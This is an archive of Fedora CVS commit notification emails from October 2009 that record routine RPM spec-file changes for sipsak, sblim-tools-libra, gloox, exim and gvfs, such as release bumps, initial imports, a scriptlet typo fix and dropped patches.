+* Thu Sep 04 2008 Tom "spot" Callaway <tcallawa at redhat.com> 0.9.6-4
+- fix license tag
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 0.9.6-3
+- Autorebuild for GCC 4.3
+
+* Fri Dec 07 2007 Release Engineering <rel-eng at fedoraproject dot org> - 0.9.6-2
+- Rebuild for deps
+
 * Sun Sep 17 2006 Peter Lemenkov <lemenkov at gmail.com> 0.9.6-1
 - Initial build for FE
 



From peter at fedoraproject.org  Tue Oct 20 08:07:49 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Tue, 20 Oct 2009 08:07:49 +0000 (UTC)
Subject: rpms/sipsak/devel sipsak.spec,1.8,1.9
Message-ID: <20091020080749.6E72611C02A3@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/sipsak/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5358/devel

Modified Files:
	sipsak.spec 
Log Message:
minor cosmetic fixes in spec-file


Index: sipsak.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sipsak/devel/sipsak.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sipsak.spec	21 Aug 2009 15:53:23 -0000	1.8
+++ sipsak.spec	20 Oct 2009 08:07:49 -0000	1.9
@@ -1,7 +1,7 @@
 Summary:	SIP swiss army knife
 Name:		sipsak
 Version:	0.9.6
-Release: 	8%{?dist}
+Release:	8%{?dist}
 License:	GPLv2+
 Group:		Applications/Communications
 URL:		http://sipsak.org/
@@ -10,7 +10,7 @@ BuildRequires:	openssl-devel
 #BuildRequires:	gnutls-devel
 #BuildRequires:	ruli-devel
 BuildRequires:	c-ares-devel
-Buildroot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 sipsak is a small command line tool for developers and
@@ -19,7 +19,6 @@ It can be used for some simple tests on 
 devices.
 
 %prep
-
 %setup -q
 
 %build



From peter at fedoraproject.org  Tue Oct 20 08:07:48 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Tue, 20 Oct 2009 08:07:48 +0000 (UTC)
Subject: rpms/sipsak/EL-5 sipsak.spec,1.1,1.2
Message-ID: <20091020080749.056A211C029E@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/sipsak/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5358/EL-5

Modified Files:
	sipsak.spec 
Log Message:
minor cosmetic fixes in spec-file


Index: sipsak.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sipsak/EL-5/sipsak.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sipsak.spec	7 Oct 2006 06:56:49 -0000	1.1
+++ sipsak.spec	20 Oct 2009 08:07:48 -0000	1.2
@@ -1,8 +1,8 @@
 Summary:	SIP swiss army knife
 Name:		sipsak
 Version:	0.9.6
-Release: 	1%{?dist}
-License:	GPL
+Release:	8%{?dist}
+License:	GPLv2+
 Group:		Applications/Communications
 URL:		http://sipsak.org/
 Source0:	http://download.berlios.de/sipsak/%{name}-%{version}-1.tar.gz
@@ -10,7 +10,7 @@ BuildRequires:	openssl-devel
 #BuildRequires:	gnutls-devel
 #BuildRequires:	ruli-devel
 BuildRequires:	c-ares-devel
-Buildroot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 sipsak is a small command line tool for developers and
@@ -19,7 +19,6 @@ It can be used for some simple tests on 
 devices.
 
 %prep
-
 %setup -q
 
 %build
@@ -41,6 +40,27 @@ devices.
 %{_mandir}/man1/*
 
 %changelog
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.9.6-8
+- rebuilt with new openssl
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Jan 17 2009 Tomas Mraz <tmraz at redhat.com> 0.9.6-5
+- rebuild with new openssl
+
+* Thu Sep 04 2008 Tom "spot" Callaway <tcallawa at redhat.com> 0.9.6-4
+- fix license tag
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 0.9.6-3
+- Autorebuild for GCC 4.3
+
+* Fri Dec 07 2007 Release Engineering <rel-eng at fedoraproject dot org> - 0.9.6-2
+- Rebuild for deps
+
 * Sun Sep 17 2006 Peter Lemenkov <lemenkov at gmail.com> 0.9.6-1
 - Initial build for FE
 



From vcrhonek at fedoraproject.org  Tue Oct 20 08:24:36 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 08:24:36 +0000 (UTC)
Subject: rpms/sblim-tools-libra/devel import.log, NONE,
	1.1 sblim-tools-libra.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091020082436.58D0711C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-tools-libra/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8516/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-tools-libra.spec 
Log Message:
Initial import (#502596).


--- NEW FILE import.log ---
sblim-tools-libra-0_2_3-1_fc10:HEAD:sblim-tools-libra-0.2.3-1.fc10.src.rpm:1256027047


--- NEW FILE sblim-tools-libra.spec ---

Name:           sblim-tools-libra
Version:        0.2.3
Release:        1%{?dist}
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks

Group:          System Environment/Libraries
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:       tog-pegasus

%description
The tools-libra package provides common functionality required by
the task-specific resource access layers of wbem-smt tasks such as
cmpi-dns and cmpi-samba.

%package devel
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks Header Devel Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
The tools-libra package provides common functionality required by
the task-specific resource access layers of the wbem-smt tasks such as
cmpi-dns and cmpi-samba.
This package includes the header files and link libraries for dependent
provider packages.

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Tue May 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.2.3-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-tools-libra/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:22:29 -0000	1.1
+++ .cvsignore	20 Oct 2009 08:24:36 -0000	1.2
@@ -0,0 +1 @@
+sblim-tools-libra-0.2.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-tools-libra/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:22:29 -0000	1.1
+++ sources	20 Oct 2009 08:24:36 -0000	1.2
@@ -0,0 +1 @@
+66334d8f22ad98e18cc6559b471b11ad  sblim-tools-libra-0.2.3.tar.bz2



From vcrhonek at fedoraproject.org  Tue Oct 20 08:40:36 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 08:40:36 +0000 (UTC)
Subject: rpms/sblim-tools-libra/F-12 sblim-tools-libra.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091020084036.5BAD811C02A6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-tools-libra/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11808

Modified Files:
	sources 
Added Files:
	sblim-tools-libra.spec 
Log Message:
Initial commit


--- NEW FILE sblim-tools-libra.spec ---

Name:           sblim-tools-libra
Version:        0.2.3
Release:        1%{?dist}
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks

Group:          System Environment/Libraries
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:       tog-pegasus

%description
The tools-libra package provides common functionality required by
the task-specific resource access layers of wbem-smt tasks such as
cmpi-dns and cmpi-samba.

%package devel
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks Header Devel Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
The tools-libra package provides common functionality required by
the task-specific resource access layers of the wbem-smt tasks such as
cmpi-dns and cmpi-samba.
This package includes the header files and link libraries for dependent
provider packages.

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Tue May 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.2.3-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-tools-libra/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:22:29 -0000	1.1
+++ sources	20 Oct 2009 08:40:36 -0000	1.2
@@ -0,0 +1 @@
+66334d8f22ad98e18cc6559b471b11ad  sblim-tools-libra-0.2.3.tar.bz2



From vcrhonek at fedoraproject.org  Tue Oct 20 08:46:17 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 08:46:17 +0000 (UTC)
Subject: rpms/sblim-tools-libra/F-11 sblim-tools-libra.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091020084617.F0CF711C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-tools-libra/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13105

Modified Files:
	sources 
Added Files:
	sblim-tools-libra.spec 
Log Message:
Initial commit


--- NEW FILE sblim-tools-libra.spec ---

Name:           sblim-tools-libra
Version:        0.2.3
Release:        1%{?dist}
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks

Group:          System Environment/Libraries
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:       tog-pegasus

%description
The tools-libra package provides common functionality required by
the task-specific resource access layers of wbem-smt tasks such as
cmpi-dns and cmpi-samba.

%package devel
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks Header Devel Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
The tools-libra package provides common functionality required by
the task-specific resource access layers of the wbem-smt tasks such as
cmpi-dns and cmpi-samba.
This package includes the header files and link libraries for dependent
provider packages.

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Tue May 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.2.3-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-tools-libra/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:22:29 -0000	1.1
+++ sources	20 Oct 2009 08:46:16 -0000	1.2
@@ -0,0 +1 @@
+66334d8f22ad98e18cc6559b471b11ad  sblim-tools-libra-0.2.3.tar.bz2



From hubbitus at fedoraproject.org  Tue Oct 20 08:58:30 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Tue, 20 Oct 2009 08:58:30 +0000 (UTC)
Subject: rpms/gloox/devel gloox.spec,1.4,1.5
Message-ID: <20091020085830.846A011C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17507

Modified Files:
	gloox.spec 
Log Message:
- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
- Expand "beta" define and magick to more common "prerel".




Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/devel/gloox.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gloox.spec	18 Oct 2009 21:54:15 -0000	1.4
+++ gloox.spec	20 Oct 2009 08:58:30 -0000	1.5
@@ -1,18 +1,17 @@
-#% define beta 7
+%define prerel rc3
 %define SVN 4204
 
 Name:		gloox
-Version:		1.0rc3
-Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0
+Release:		0.9.%{?prerel:%{prerel}.}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
-#Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
 # svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
 #	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
-Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
+Source0:		%{name}-%{version}%{?prerel}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
 #Patch1:		gloox-getaddrinfo.patch
@@ -43,7 +42,7 @@ The %{name}-devel package contains libra
 developing applications that use %{name}.
 
 %prep
-%setup -q -n %{name}-%{version}%{?beta:-beta%{beta}}
+%setup -q -n %{name}-%{version}%{?prerel}
 
 %build
 %if 0%{?SVN}
@@ -83,6 +82,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Mon Oct 19 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.9.rc3.SVNr4204
+- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
+- Expand "beta" define and magick to more common "prerel".
+
 * Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
 - New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
 



From vcrhonek at fedoraproject.org  Tue Oct 20 09:04:47 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 09:04:47 +0000 (UTC)
Subject: rpms/sblim-tools-libra/F-10 sblim-tools-libra.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091020090447.A920E11C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-tools-libra/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18272

Modified Files:
	sources 
Added Files:
	sblim-tools-libra.spec 
Log Message:
Initial commit


--- NEW FILE sblim-tools-libra.spec ---

Name:           sblim-tools-libra
Version:        0.2.3
Release:        1%{?dist}
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks

Group:          System Environment/Libraries
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:       tog-pegasus

%description
The tools-libra package provides common functionality required by
the task-specific resource access layers of wbem-smt tasks such as
cmpi-dns and cmpi-samba.

%package devel
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks Header Devel Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
The tools-libra package provides common functionality required by
the task-specific resource access layers of the wbem-smt tasks such as
cmpi-dns and cmpi-samba.
This package includes the header files and link libraries for dependent
provider packages.

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Tue May 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.2.3-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-tools-libra/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:22:29 -0000	1.1
+++ sources	20 Oct 2009 09:04:47 -0000	1.2
@@ -0,0 +1 @@
+66334d8f22ad98e18cc6559b471b11ad  sblim-tools-libra-0.2.3.tar.bz2



From dwmw2 at fedoraproject.org  Tue Oct 20 09:10:31 2009
From: dwmw2 at fedoraproject.org (David Woodhouse)
Date: Tue, 20 Oct 2009 09:10:31 +0000 (UTC)
Subject: rpms/exim/F-12 exim.spec,1.68,1.69
Message-ID: <20091020091031.0B12F11C02A6@cvs1.fedora.phx.redhat.com>

Author: dwmw2

Update of /cvs/pkgs/rpms/exim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19992

Modified Files:
	exim.spec 
Log Message:
fix %post typo


Index: exim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exim/F-12/exim.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- exim.spec	16 Sep 2009 12:09:02 -0000	1.68
+++ exim.spec	20 Oct 2009 09:10:30 -0000	1.69
@@ -12,7 +12,7 @@
 Summary: The exim mail transfer agent
 Name: exim
 Version: 4.69
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: GPLv2+
 Url: http://www.exim.org/
 Group: System Environment/Daemons
@@ -458,7 +458,7 @@ fi
 %if 0%{?buildclam}
 %post clamav
 /bin/touch %{_var}/log/clamd.exim
-/bin/chown exim.exim %{_var}log/clamd.exim
+/bin/chown exim.exim %{_var}/log/clamd.exim
 /sbin/chkconfig --add clamd.exim
 
 %preun clamav
@@ -487,6 +487,9 @@ test "$1"  = 0 || %{_initrddir}/clamd.ex
 %{_sysconfdir}/cron.daily/greylist-tidy.sh
 
 %changelog
+* Mon Oct 05 2009 David Woodhouse <David.Woodhouse at intel.com> - 4.69-18
+- Fix typo in clamd %%post (#527085)
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> - 4.69-17
 - Use password-auth common PAM configuration instead of system-auth
 



From vcrhonek at fedoraproject.org  Tue Oct 20 09:30:57 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 09:30:57 +0000 (UTC)
Subject: rpms/sblim-tools-libra/EL-5 sblim-tools-libra.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091020093057.0AA9611C029E@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-tools-libra/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25146

Modified Files:
	sources 
Added Files:
	sblim-tools-libra.spec 
Log Message:
Initial commit


--- NEW FILE sblim-tools-libra.spec ---

Name:           sblim-tools-libra
Version:        0.2.3
Release:        1%{?dist}
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks

Group:          System Environment/Libraries
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:       tog-pegasus

%description
The tools-libra package provides common functionality required by
the task-specific resource access layers of wbem-smt tasks such as
cmpi-dns and cmpi-samba.

%package devel
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks Header Devel Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
The tools-libra package provides common functionality required by
the task-specific resource access layers of the wbem-smt tasks such as
cmpi-dns and cmpi-samba.
This package includes the header files and link libraries for dependent
provider packages.

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Tue May 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.2.3-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-tools-libra/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:22:29 -0000	1.1
+++ sources	20 Oct 2009 09:30:56 -0000	1.2
@@ -0,0 +1 @@
+66334d8f22ad98e18cc6559b471b11ad  sblim-tools-libra-0.2.3.tar.bz2



From tbzatek at fedoraproject.org  Tue Oct 20 09:42:32 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Tue, 20 Oct 2009 09:42:32 +0000 (UTC)
Subject: rpms/gvfs/F-12 .cvsignore, 1.48, 1.49 gvfs.spec, 1.163,
	1.164 sources, 
	1.48, 1.49 0001-Disallow-mounting-empty-drives.patch, 1.2,
	NONE 0002-Disallow-ejecting-empty-drives.patch, 1.2,
	NONE 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch, 
	1.2, NONE consider-logical-partitions.patch, 1.1,
	NONE gvfs-1.4.0-mountspec-from-string.patch, 1.1,
	NONE gvfs-1.4.1-mtp-devices-mime.patch, 1.1,
	NONE gvfs-1.4.1-no-poll-for-media.patch, 1.1,
	NONE gvfs-1.4.1-separate-eject-safely-remove-drive.patch, 1.1,
	NONE gvfs-1.4.1-trash-dont-overwrite.patch, 1.1,
	NONE obex-crasher.patch, 1.1, NONE
Message-ID: <20091020094232.D5F5511C0081@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gvfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27696

Modified Files:
	.cvsignore gvfs.spec sources 
Removed Files:
	0001-Disallow-mounting-empty-drives.patch 
	0002-Disallow-ejecting-empty-drives.patch 
	0003-Silently-drop-eject-error-messages-when-detaching-dr.patch 
	consider-logical-partitions.patch 
	gvfs-1.4.0-mountspec-from-string.patch 
	gvfs-1.4.1-mtp-devices-mime.patch 
	gvfs-1.4.1-no-poll-for-media.patch 
	gvfs-1.4.1-separate-eject-safely-remove-drive.patch 
	gvfs-1.4.1-trash-dont-overwrite.patch obex-crasher.patch 
Log Message:
* Tue Oct 20 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.1-1
- Update to 1.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	21 Sep 2009 14:50:35 -0000	1.48
+++ .cvsignore	20 Oct 2009 09:42:32 -0000	1.49
@@ -1 +1 @@
-gvfs-1.4.0.tar.bz2
+gvfs-1.4.1.tar.bz2


Index: gvfs.spec
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/gvfs.spec,v
retrieving revision 1.163
retrieving revision 1.164
diff -u -p -r1.163 -r1.164
--- gvfs.spec	16 Oct 2009 12:11:01 -0000	1.163
+++ gvfs.spec	20 Oct 2009 09:42:32 -0000	1.164
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
-Version: 1.4.0
-Release: 7%{?dist}
+Version: 1.4.1
+Release: 1%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -40,25 +40,8 @@ Patch1: 0001-Add-AFC-backend.patch
 # from upstream
 Patch2: http-icons.patch
 # from upstream
-Patch3: consider-logical-partitions.patch
-# https://bugzilla.redhat.com/show_bug.cgi?id=526892
-# Nautilus not displaying friendly icons for SSH-connected system
-Patch4: gvfs-1.4.0-mountspec-from-string.patch
-# from upstream
-Patch5: gvfs-1.4.1-trash-dont-overwrite.patch
-Patch6: gvfs-1.4.1-separate-eject-safely-remove-drive.patch
-Patch7: gvfs-1.4.1-no-poll-for-media.patch
-# https://bugzilla.redhat.com/show_bug.cgi?id=520497
-# annoying error dialogs
-Patch8: 0001-Disallow-mounting-empty-drives.patch
-Patch9: 0002-Disallow-ejecting-empty-drives.patch
-Patch10: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
-# https://bugzilla.redhat.com/show_bug.cgi?id=528181
-Patch11: obex-crasher.patch
-# from upstream
 Patch12: gvfs-1.4.1-http-suport-stream-query-info.patch
 Patch13: gvfs-1.4.1-http-soup-header-parsing.patch
-Patch14: gvfs-1.4.1-mtp-devices-mime.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -153,18 +136,8 @@ and iPod Touches to applications using g
 %patch0 -p1 -b .archive-integration
 %patch1 -p1 -b .afc
 %patch2 -p1 -b .http-icons
-%patch3 -p1 -b .logical-partitions
-%patch4 -p1 -b .favicons
-%patch5 -p1 -b .trash-overwrite
-%patch6 -p1 -b .separate-eject
-%patch7 -p1 -b .no-poll
-%patch8 -p1 -b .mount-empty
-%patch9 -p1 -b .eject-empty
-%patch10 -p1 -b .error-detaching
-%patch11 -p1 -b .push-fail
 %patch12 -p1 -b .http-query-info
 %patch13 -p1 -b .http-headers
-%patch14 -p1 -b .mtp-mime
 
 %build
 
@@ -318,6 +291,9 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Tue Oct 20 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.1-1
+- Update to 1.4.1
+
 * Fri Oct 16 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-7
 - HTTP: Support g_file_input_stream_query_info()
 - HTTP: Use libsoup header parsing function


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	21 Sep 2009 14:50:35 -0000	1.48
+++ sources	20 Oct 2009 09:42:32 -0000	1.49
@@ -1 +1 @@
-5c5086763873bbc6239af84722bf1afe  gvfs-1.4.0.tar.bz2
+6eff809d50e618f289d5192724a049de  gvfs-1.4.1.tar.bz2


--- 0001-Disallow-mounting-empty-drives.patch DELETED ---


--- 0002-Disallow-ejecting-empty-drives.patch DELETED ---


